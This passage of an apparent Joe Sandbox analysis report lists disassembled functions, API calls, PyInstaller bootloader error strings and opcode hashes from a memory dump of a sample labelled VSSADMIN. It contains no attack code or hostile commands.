_fread_nolock.LIBCMT ref: 00007FF614C7185C
_fread_nolock.LIBCMT ref: 00007FF614C7190E

Part of subcall function 00007FF614C7F3A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F3B4

Part of subcall function 00007FF614C72770: MessageBoxW.USER32 ref: 00007FF614C72845

Strings

fseek, xrefs: 00007FF614C71836
fread, xrefs: 00007FF614C7186E
Could not read full TOC!, xrefs: 00007FF614C71919
malloc, xrefs: 00007FF614C718EA
Cannot read Table of Contents., xrefs: 00007FF614C71995
Failed to read cookie!, xrefs: 00007FF614C71867
Failed to seek to cookie position!, xrefs: 00007FF614C7182F
Could not allocate buffer for TOC!, xrefs: 00007FF614C718E3
Error on file., xrefs: 00007FF614C7193D
MEI, xrefs: 00007FF614C717EF

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _fread_nolock$Message_invalid_parameter_noinfo
String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 2153230061-4158440160
Opcode ID: e036ff8412cb2c1497607d8fe513f5a54bf87ec72a6f69b8acc9117b6522fd3b
Instruction ID: fc024c6191311fc2d0b1db3c8f92be47550509f0b7b486c87cb3a172f5e39cb1
Opcode Fuzzy Hash: e036ff8412cb2c1497607d8fe513f5a54bf87ec72a6f69b8acc9117b6522fd3b
Instruction Fuzzy Hash: 9A514772A1DE0286EB54CF28D4D127823B1EB8AF69B518137DA0DC3799DE3CE541C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C712B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF614C712E2
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF614C713E2
fseek, xrefs: 00007FF614C71319
fread, xrefs: 00007FF614C713E9
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF614C7134C
malloc, xrefs: 00007FF614C71353
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF614C71312

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 16d69012473f287e44de233c574f772ca318ffc925a49ceb0965c1371dea1f1c
Instruction ID: a0598e4fadd19149a255bd768ab991572d06555c9effa631d1c1ddc6ed4a0ed0
Opcode Fuzzy Hash: 16d69012473f287e44de233c574f772ca318ffc925a49ceb0965c1371dea1f1c
Instruction Fuzzy Hash: 32415E21A4CE8382EE24DB15E4916BA63B1EB86FA5F444433DE4D87B55EE3DE542C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF614C73BC0: GetModuleFileNameW.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C73BF1

SetDllDirectoryW.KERNEL32 ref: 00007FF614C738C5

Part of subcall function 00007FF614C769B0: GetEnvironmentVariableW.KERNEL32(00007FF614C73707), ref: 00007FF614C769EA
Part of subcall function 00007FF614C769B0: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF614C76A07

Strings

Cannot side-load external archive %s (code %d)!, xrefs: 00007FF614C7384C
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF614C737AE
_PYI_ONEDIR_MODE, xrefs: 00007FF614C7371C, 00007FF614C73747
MEI, xrefs: 00007FF614C73807
_MEIPASS2, xrefs: 00007FF614C736F3, 00007FF614C7375C, 00007FF614C73A0B, 00007FF614C73A1B
Failed to convert DLL search path!, xrefs: 00007FF614C738AD

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: f952f029dedbb0839787106c5c451913a2ed49eabae97769c7967d6c7db2bfcd
Instruction ID: 9ec78fc48b73ec43f0d657773c76d560a36c888231572b90cab4fcc9a688604f
Opcode Fuzzy Hash: f952f029dedbb0839787106c5c451913a2ed49eabae97769c7967d6c7db2bfcd
Instruction Fuzzy Hash: F0B18121A1CD8352EA64AB21D5D22BD23B1BF46FA6F444033EA4DC77A6EE2CE505C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF614C710F8, 00007FF614C71126
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF614C710B4
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF614C7111F
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF614C710F1
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF614C71249
1.2.13, xrefs: 00007FF614C7107E

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 9cfd913426aeb6d050e1e33f254d3393e8c1727ed5781516926cd4c3ba63f663
Instruction ID: 5067d7a9787a24981a0425461bf047e5ed231096b45583fac2050321c02ac1f1
Opcode Fuzzy Hash: 9cfd913426aeb6d050e1e33f254d3393e8c1727ed5781516926cd4c3ba63f663
Instruction Fuzzy Hash: 6051A422A0DE8286EA209B55E4803BA62B2FB86FB5F544137DE4DC7795EF3CE545C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8AF5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8B389

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8cca3055efed3e3f89cedb163d8cd8c244730e245ca1d8d25453f07a0b7e0f34
Instruction ID: b024cd018be5e20a4874668f1fac934165e01dcbf1ff94a235946bc27ce63cec
Opcode Fuzzy Hash: 8cca3055efed3e3f89cedb163d8cd8c244730e245ca1d8d25453f07a0b7e0f34
Instruction Fuzzy Hash: D8C1B23290CE8791EA609B15D4802BE6A70FB83FA0F554137EA5E87792EF7DE445D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B1CC Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF614C7B1DB

Part of subcall function 00007FF614C7B39C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF614C7B3BE

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF614C7B1F0
__scrt_release_startup_lock.LIBCMT ref: 00007FF614C7B25E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF614C7B2B1

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: bbd3b8ba5c4b27b365bd4a2e4f7617ab8f70cbce2ec9e80b5769bfa1af1ddc25
Instruction ID: 1a9aaf4158639f587fd48fa07908b1b63d74956d7f4ae854f33bcb677f76da95
Opcode Fuzzy Hash: bbd3b8ba5c4b27b365bd4a2e4f7617ab8f70cbce2ec9e80b5769bfa1af1ddc25
Instruction Fuzzy Hash: F5317820E0DD4342FA14AB64E4D13BA22B1AF93FAEF405037DB0DC76E3EE2DA4448251

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C846B0 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C846DD
CreateFileW.KERNEL32 ref: 00007FF614C8471C
CloseHandle.KERNEL32 ref: 00007FF614C84751

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 83f7356e998cb81ecf05bcbd92d34611756d56775b93fee33aed4649b58a8721
Instruction ID: 6e746ff8c10a07264a1b2750a7be2a62dccb794005f63ddfb84f973f81dd184b
Opcode Fuzzy Hash: 83f7356e998cb81ecf05bcbd92d34611756d56775b93fee33aed4649b58a8721
Instruction Fuzzy Hash: E2417262D18B8283F7548B61D590379B270FB96B74F10933AE69C83AD1EF7CA5A09704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7F3CC Relevance: 3.2, APIs: 2, Instructions: 177
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F410
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F507

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c1e28680f2662e8371b11e07f92ce548ff8955c9ec9e7def54785ee8c89af03
Instruction ID: d63eb1cfdc3b1a358e1555099081bbf8e1bf2162cb84e394e83cfe1a099c9834
Opcode Fuzzy Hash: 1c1e28680f2662e8371b11e07f92ce548ff8955c9ec9e7def54785ee8c89af03
Instruction Fuzzy Hash: CB511561B0DA8347EA68DE2594E067A62A0BF46FB5F144732DE6CC37D5CF3CD4018600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B0E0 Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_set_fmode.LIBCMT ref: 00007FF614C7B0F7
_RTC_Initialize.LIBCMT ref: 00007FF614C7B118

Part of subcall function 00007FF614C87E9C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C87ECE

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 6f4d91f14022360dab0355fac000d53ce384dee1e6364c71d03b9cb5aa4004ae
Instruction ID: 7dac8cf696f043d08095e1d376b5c02c65d0c39e38cb242a4132a6de8e27f6f2
Opcode Fuzzy Hash: 6f4d91f14022360dab0355fac000d53ce384dee1e6364c71d03b9cb5aa4004ae
Instruction Fuzzy Hash: AA119D44E0CA4343FA5877B588C62FA01B05FA3B7AF840436EB0EC71D3ED5DB8404262

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A058 Relevance: 3.1, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32(?,?,?,00007FF614C89ED5,?,?,00000000,00007FF614C89F8A), ref: 00007FF614C8A0C6
GetLastError.KERNEL32(?,?,?,00007FF614C89ED5,?,?,00000000,00007FF614C89F8A), ref: 00007FF614C8A0D0

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 92f4f4d1d4744ab8e3e5075f9c3f1c4e1aa1a51ff1876d4144c1ee488cb6abae
Instruction ID: 1cbc991455a442d19bc62fd000a59500d9951bf783d4da7aa4dbcd4893adfa7f
Opcode Fuzzy Hash: 92f4f4d1d4744ab8e3e5075f9c3f1c4e1aa1a51ff1876d4144c1ee488cb6abae
Instruction Fuzzy Hash: A421A421F18E4341FA505769A4D037D25A19F86FB4F04523BDA2EC73D6CF6EE445A301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8B634 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,00000000,00007FF614C8B7CD), ref: 00007FF614C8B680
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF614C8B7CD), ref: 00007FF614C8B68A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: c2ae5bf7dfd723bcaf49b473343ea681dff7813d4b8ca545b941fb3c7d872366
Instruction ID: 0cbb14d3c37acebcc0054627e3272f1c9e17f948f01dec6ec1feade9a862164d
Opcode Fuzzy Hash: c2ae5bf7dfd723bcaf49b473343ea681dff7813d4b8ca545b941fb3c7d872366
Instruction Fuzzy Hash: E211C161B18E8281DA208B25E884169B371BB86FF4F544336EE7D8B7E9DF3CE0148700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C91BAC Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF614C880B2,?,?,00000000,00007FF614C885A6,?,?,?,?,00007FF614C90554,?,?,00000000), ref: 00007FF614C91BC0
FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF614C880B2,?,?,00000000,00007FF614C885A6,?,?,?,?,00007FF614C90554,?,?,00000000), ref: 00007FF614C91C2A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 08e1cb85d2d4b9f20ebe00a5e397d2c4a90d52e31469bbe02bcf41e4b3f4404d
Instruction ID: 86ae2a7c9ac34b9effb91f5fb758d4cce142ce8dd4377a269625a40a6aa1c3b3
Opcode Fuzzy Hash: 08e1cb85d2d4b9f20ebe00a5e397d2c4a90d52e31469bbe02bcf41e4b3f4404d
Instruction Fuzzy Hash: 61010811F18F6681EA24AF16B04106A6370AF45FF4F8C4636DF6D537C5DE2DE4428300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8B3AC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8B3D4

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd414821b6f546225101efcda0891026701ff68dd4107860c76c66003ece607e
Instruction ID: 03ae247b27809fa9dc73bbb45872fdf4a5ba0edb87a9d231745c0654aac005f1
Opcode Fuzzy Hash: cd414821b6f546225101efcda0891026701ff68dd4107860c76c66003ece607e
Instruction Fuzzy Hash: B7419E32908A4787EA24CA19E58127973B1EB97FA1F140232E78EC36D1DF2CE402E750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77230 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF614C772DA

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0f194d5094c1cf518840656965e69513bbf0ac4dc6595ea5cd95a1eaade7605d
Instruction ID: b63e5b07194cf5a7f77fe1ab55d2cf8db54b057f4d9f915d165a8fd17a857cbd
Opcode Fuzzy Hash: 0f194d5094c1cf518840656965e69513bbf0ac4dc6595ea5cd95a1eaade7605d
Instruction Fuzzy Hash: 4E21A621B0EA5647FA249B1269847FAA661BF46FE5F885432EE0D87786DE3DF041C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8AE3C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8AEC2

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5ed01260f61c1a9edb3b9c9d383e1d052b4bb4cd62c1ee8f87bb56751b307cf1
Instruction ID: bdca0d7cf7522b048a09474cbe80d8adb55b27009ca6eefbae7a56d23ab045d5
Opcode Fuzzy Hash: 5ed01260f61c1a9edb3b9c9d383e1d052b4bb4cd62c1ee8f87bb56751b307cf1
Instruction Fuzzy Hash: 1531AE71A18E4385EB11AB59888037C7670AF83FB4F41063BEA2D873D2DF7DA441A714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C854F8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8545D

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
